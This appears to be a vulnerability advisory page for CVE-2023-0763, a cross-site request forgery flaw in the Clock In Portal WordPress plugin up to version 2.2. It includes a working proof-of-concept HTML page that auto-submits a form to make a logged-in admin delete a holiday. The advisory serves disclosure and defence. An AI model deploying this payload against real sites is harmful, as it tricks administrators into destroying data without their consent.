Clock In Portal <= 2.2 – Holidays Deletion via CSRF | CVE 2023-0763 | Plugin Vulnerabilities

Description

The plugin does not have CSRF check when deleting Holidays, which could allow attackers to make logged in admins delete arbitrary holidays via a CSRF attack

Proof of Concept

Make a logged in admin open a page with the code below, this will make them delete the Holiday with ID 1

<html>
  <body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=cip-holidays" method="POST">
      <input type="hidden" name="action" value="delete" />
      <input type="hidden" name="id" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

clock-in-portal

No known fix

References

CVE

Classification

Type

CSRF

OWASP top 10

A2: Broken Authentication and Session Management

CWE

CVSS

Miscellaneous

Original Researcher

Sajjad Shariati

Submitter

Sajjad Shariati

Verified

Yes

WPVDB ID

4b55f868-62f8-43a1-9817-68cd1fc6190f

Timeline

Publicly Published

2023-04-18 (about 2 years ago)

Added

2023-04-18 (about 2 years ago)

Last Updated

2023-12-26 (about 2 years ago)

Other

Published

Title

Published

2024-06-18

Title

Vimeography: Vimeo Video Gallery WordPress Plugin < 2.4.2 - Cross-Site Request Forgery

Published

2024-04-18

Title

LetterPress <= 1.2.2 - Subscriber Deletion via CSRF

Published

2025-03-11

Title

Skrill Official < 1.0.67 - Settings Update via CSRF

Published

2021-02-17

Title

Custom Banners < 3.3 - CSRF Nonce Bypass in saveCustomFields

Published

2024-01-30

Title

BizPrint < 4.5.4 - Printer Settings Update via CSRF